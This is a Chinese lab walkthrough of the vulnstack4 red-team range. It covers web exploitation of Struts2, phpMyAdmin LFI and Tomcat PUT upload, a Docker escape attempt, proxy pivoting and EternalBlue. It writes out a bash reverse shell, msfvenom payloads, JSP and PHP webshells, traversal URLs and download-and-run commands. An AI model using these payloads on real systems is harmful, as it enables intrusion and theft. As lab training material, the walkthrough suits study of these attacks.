红日安全 ATT&CK 靶机实战系列之 vulnstack4_红日靶场 4

ATT&CK 红队评估(红日靶场四) - FreeBuf 网络安全行业

ATT&CK 红日 4 靶机渗透攻略 - CSDN 博客

# 环境搭建

Web 机器为内外网双网卡,其他两台机器全部是只有 192.168.183 一个段,所以创建一个 VM1 赋予两台机器就可以了

普通机器和 DC 域控机器都是内网 183 网段

Web 机器双网卡 NAT 保证了和 Kali 处于同一网段,自定义的 VM1 同其余两天内网机器同一网段

# 靶机 IP

机器密码

全部部署好后逐个开机检查记录 IP

1
2
3
4
5
WEB主机 ubuntu:ubuntu

WIN7主机 douser:Dotest123

(DC)WIN2008主机 administrator:Test2008

乌班图进入 cmd 面板快捷方式 CTRL+ALT+T

域控机器按照上面密码登录过后会提示已过期修改密码为 !qaz2008

主机IP 地址
kali 攻击机192.168.111.131 (NAT)
Web_Ubuntu外网 IP 192.168.111.132 / 内网 IP 192.168.183.129
Win7192.168.183.131 (不出网 IP 固定 183 网段)
DC 域控192.168.183.130 (不出网 IP 固定 183 网段)

# 开启环境

Web 出网服务器为 Ubuntu ,需要进入 Ubuntu ,用 docker 启动漏洞环境,开启后就可以开始练习了,通过开启的这三个服务得到权限从而拿下 Ubuntu 机器再横向内网

  • s2-045
  • CVE-2017-12615 (tomcat put 上传)
  • cve-2018-12613 (phpmyadmin 文件包含漏洞)

1
2
3
4
5
6
7
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045  
sudo docker-compose up -d // 前面必须带上sudo输入密码
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

# Web 渗透

# 信息收集

1
arp -scan -l   // 扫码本机网卡存活机器得到同一网段下的外网Ubuntu机器,实战肯定是没有的,直接就可以扫公网的IP

得到外网地址 IP 192.168.111.132 扫码开放端口对这台机器敲敲打打,逐个访问, nmap 可以加入 -A 会得到更多的信息这

1
2
3
4
5
6
7
8
9
nmap -sV 192.168.111.132 -A 


22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
2001/tcp open http Jetty 9.2.11.v20150529
2002/tcp open http Apache Tomcat 8.5.19
2003/tcp open http Apache httpd 2.4.25 ((Debian))


# Struts2 漏洞扫描

这里通过扫描命令发现了 Struts2 框架下载工具进行漏洞扫描,但如果不指纹识别光看页面可以发现这个框架吗,在 title 显示了 Struts2 标识

工具地址

执行 IP a 命令发现是 172 跟原来的不符 还好看了其他师傅的文章原来这是在 Docker 里面构建的

执行 bash 反弹命令 将权限拿到, Kali 开启监听

1
nc -lvvp 7777

漏洞攻击执行反弹命令 反弹地址为攻击机端口也要一致

1
bash -i >& /dev/tcp/192.168.111.131/7777 0>&1 

攻击机收到来自 192.168.111.132 反弹来的 Shell


利用漏洞利用工具上传基于 LinuxJSP 马方便 MSF 后渗透

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.111.131 LPORT=4444 -f jsp > shell.jsp

上传到根目录下,工具原本的上传的默认上传一个带有上传功能的小马,这里我手动替换为了 MSF 生成 Shell.JSP 内容 点击上传即可成功到根目录

MSF 监听木马完成后 浏览器访问地址即可触发木马反弹权限

1
2
3
4
5
6
7
use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set LHOST 192.168.48.136

exploit

# PhPmyadmin CVE-2018-12613

根据版本号寻找 Nday phpmyadmin 4.8.1 远程文件包含漏洞 CVE-2018-12613 ,攻击者可以利用该漏洞在后台进行任意的文件包含,各种调用,如果我们可以上传,或者说写入一个一句话,就可以用这个漏洞调用一句话;写入木马方式就是利用 mysql 日志写入功能

影响版本

  • Phpmyadmin Phpmyadmin 4.8.0
  • Phpmyadmin Phpmyadmin 4.8.0.1
  • Phpmyadmin Phpmyadmin 4.8.1

利用 session 文件创建 Shell , 也就是包含它这个文件

POC

1
2
3
4
5
6
7
8
1)执行SQL语句,将PHP代码写入Session文件中:
select '<?php phpinfo();exit;?>'

2)包含session文件:*** 为phpMyAdmin的session值
http://ip/index.php?target=db_sql.php%253f/../../../../../../../../var/l ib/php/sessions/sess_***



确定存在漏洞

1
http://192.168.111.132:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

替换 sess

1
index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_07e4cdc4c1089e6391dc706a6581c805

CVE-2018-12613:本地文件包含

使用函数写入一句话马蚁剑连接即可,但是这里我单独的用 URL 执行 phpinfo 是不行的 我以为写错了结果是我使用的是 POST 传参的,需要用插件 hack 才可以插入

1
2
3
4
5
函数配合file_get_contents 写入一句话文件名称shell.php 内容一句话密码为1

select '<?php file_put_contents("shell.php","<?php @eval(\$_POST[1]);?>");?>';


上传到网站根目录

# 蚁剑 MSF 生成木马 Getshell

生成 MSF linux 但是无法上线 应该是 Docker 环境问题 需要进行逃逸

1
2
3
LHOST=攻击机IP LPORT=攻击机监听端口

msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.111.131 LPORT=8888 -f elf > mshell.elf

生成完成后上传到 tmp 目录通常这里可读可写

给予权限并执行,但前面需要先 msf 监听 而后再执行 ./saber.elf msf 反弹得到权限

1
2
chmod 7777 saber.elf
./saber.elf

1
2
3
4
5
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.111.131
set lport 7777
run

# Tomcat CVE-2017-12615 PUT 上传

Kali 自带了漏洞扫描工具 nickto 扫描一下 Tomcat 回显的信息看不懂 AI 就是说

服务器允许使用 HTTP PUT 方法,这可能允许攻击者在服务器上上传和保存任意内容,包括潜在的恶意文件。建议禁用 HTTP PUT 方法,或者仅在需要时启用,并确保上传的内容经过严格验证和清理

1
nikto -url http://192.168.111.131:2002/

另外寻找 GUI 漏洞利用工具吧,但有的运行 jar 包有问题要么是扫了不知道怎么利用,总体是利用 PUT 上传 shell JSP 从而连接得到权限

上方的 Py 脚本虽然检查到了漏洞但不知道密码啊我咋连啊,无奈手工复现,抓包修改请求方式请求体写为一句话木马,创建文件从而连接, PUT 文件上传的名称是 shelel.jsp 这里创建的一个输入框是同样可以执行命令的,好似虚拟终端,所以不需要蚁剑连接,配合 wget 下载木马文件,本地 Python 开启端口上传一个 shell.elf 从而执行就会上,步骤在文章中

1
2
<%    String command = request.getParameter("cmd");    if(command != null)    {        java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();        int a = -1;        byte[] b = new byte[2048];        out.print("<pre>");        while((a=in.read(b))!=-1)        {            out.println(new String(b));        }        out.print("</pre>");    } else {        out.print("format: xxx.jsp?cmd=Command");    }%>
JSP一句话密码是cmd

Tomcat 任意文件写入(CVE-2017-12615)漏洞复现 - 含 POC 和 EXP 冰蝎连接

红日安全 ATT&CK 靶机实战系列之 vulnstack4_红日靶场 CM 输入框上线

1
2
3
4
5
6
7
8
9
10
python -m http.server 8080   # 将msf生成的saber.elf文件放在目录下打开cmd开启端口

wget http://192.168.111.131:8080/shell.elf
chmod 777 shell.elf # 必须给予权限然后在命令行执行 单纯点击是什么上线的
./shell.elf





监听步骤和上面拿到 PHPadmin 权限一样

# 内网渗透

# Docker 特权模式逃逸

哪怕 msf 得到了服务的权限但也还是在 Docker 容器环境中 无法对真实的机器造成危害,从 vmware 的虚机跳到实体机上,这其实就叫做 docker 逃逸

1
2
3
命令会显示容器的控制组(cgroup)信息,这通常用于了解容器的资源限制和监控

cat /proc/1/cgroup


文章利用有 CVE-2019-5736 [1]dirty cow 漏洞进行逃逸,但都失败了我为了方便就记录下 privileged 特权模式逃逸方式,这个方式可以在对方机器的磁盘写入 SSH 公匙 这样攻击机就可以利用私钥免密登录对方机器,实现控制, PHPadminStruts 的权限俊没有逃逸成功只能利用 Tomcat 权限


此方法出现 N 多问题,我按步骤梳理好,最后没有成功通过 SSH 私匙免密登录在得到 Tomcat 权限 MSF 基础上执行 shell [2] 类似于 cmd 但是无法删除单个词如果一个写错只能 CTRL+U 删除整行,

首先创建目录挂载文件

1
2
mkdir /hack

/dev/sda1 挂载到 /hack 目录里

1
2
mount /dev/sda1 /hack
ls /hack

攻击机通过命令生成 ssh 秘钥,输入后两次回车不然要写密码,生成放在桌面行,我在桌面上开了 8080 端口这样 ubuntu 机器就可以访问下载公匙文件,登录拿本地私钥验证

1
2
3
4
ssh-keygen -f hack   # hack为生成名称一般为id_rsa



1
wget http://192.168.111.131:8080/id_rsa.pub

公钥拷贝到 ubuntu 的. ssh 中并需要正常的设置权限 我怀疑这里我搞混淆了 权限没有设置到但是已经找不到方法了

1
cp id_rsa.pub /tmp/forest/home/ubuntu/.ssh/authorized_keys

完成如上步骤后还是无法在攻击机免密登录,无奈只能拿靶场密码直接连接开启内网渗透

# Ubuntu 权限上线 MSF

SSH 登录进真实的物理机器后再次通过木马上线到 MSF , 下载木马的方式还是利用开启的端口下载

1
2
3
4
5
wget http://192.168.111.131:8080/saber.elf
chmod 777 saber.elf
./saber.elf # 执行


# 信息收集

得到机器权限后信息收集看看网卡 183 段就是第二个段了,后续添加路由达到通讯目的

1
ipconfig

扫描一下该 183 网段下还要哪些存活机器,使用 UDP 协议进行存活主机发现

1
2
3
4
5
6
7
8
use auxiliary/scanner/discovery/udp_probe  
set rhosts 192.168.183.0-255
set threads 5
run

存在130 135两台机器


MSF 手动添加路由也可以自动添加,记得 bg 回退 创建后上传工具到机器上

1
2
3
route add 192.168.183.0 255.255.255.0 2


# EW 代理流量

工具上传方式可以是 upload 也可以是开个端口 wget 下载,如果是在 MSF 窗口需要切换为 shell 不然不能执行代理的命令 MSF 识别不了

1
2
3
4
5
6
upload  ew_for_linux64 /home/ubuntu  // 上传ew工具到机器下的 /home/ubuntu目录下

wget http://192.168.111.131:8080/ew_for_linux64



受害机器 Ubuntu 执行此命令,端口 1234

1
2
./ew_for_linux64 -s rssocks -d 192.168.111.131 -e 1234    // 注意是rssocks

攻击机 Kali 成功收到

1
./ew_for_linux64 -s rcsocks -l 1080 -e 1234    // rcsocks

如果修改了文件 proxychains4 默认端口的话就自己 vim 编辑吧 我这里默认没修改可以直接用的,攻击机可以通讯 183 网段机器了

# 横向移动

# 永恒之蓝

使用 smb_ms17010 扫描机器是否存在漏洞,这里忽略了因为扫描太慢了,存在的话会进行回显

1
2
3
4
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 192.168.183.129-130
run

然后使用漏洞利用模块对机器进行漏洞利用,前面的模块只是进行扫描,并且设置代理执行

1
2
3
4
5
6
7
8
9
10
11
12
use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/bind_tcp

set RHOSTS 192.168.183.135

set AutoRunScript post/windows/manage/migrate # 自动迁移进程

setg Proxies socks5:192.168.31.127:1080

run

明明可以 ping 通也说检查到了漏洞但是一直打不上,后门流程口述吧 以后有机会再补上,拿下 win7 后慢慢的做信息收集拿下域控 DC 通过 mimikatz 拿密码,因为是域内的普通用户可以利用 MS14-068 域控提权漏洞生成新的票据通过迷你卡兹清空之前的再注入.....


  1. 攻击者可以通过特定的容器镜像或 exec 操作获取到宿主机 runc 执行时的文件句柄并以覆写方式篡改 runc 二进制文件,从而获取宿主机 root 权限 ↩︎

  2. 类似 CS 工具的会话交互 ↩︎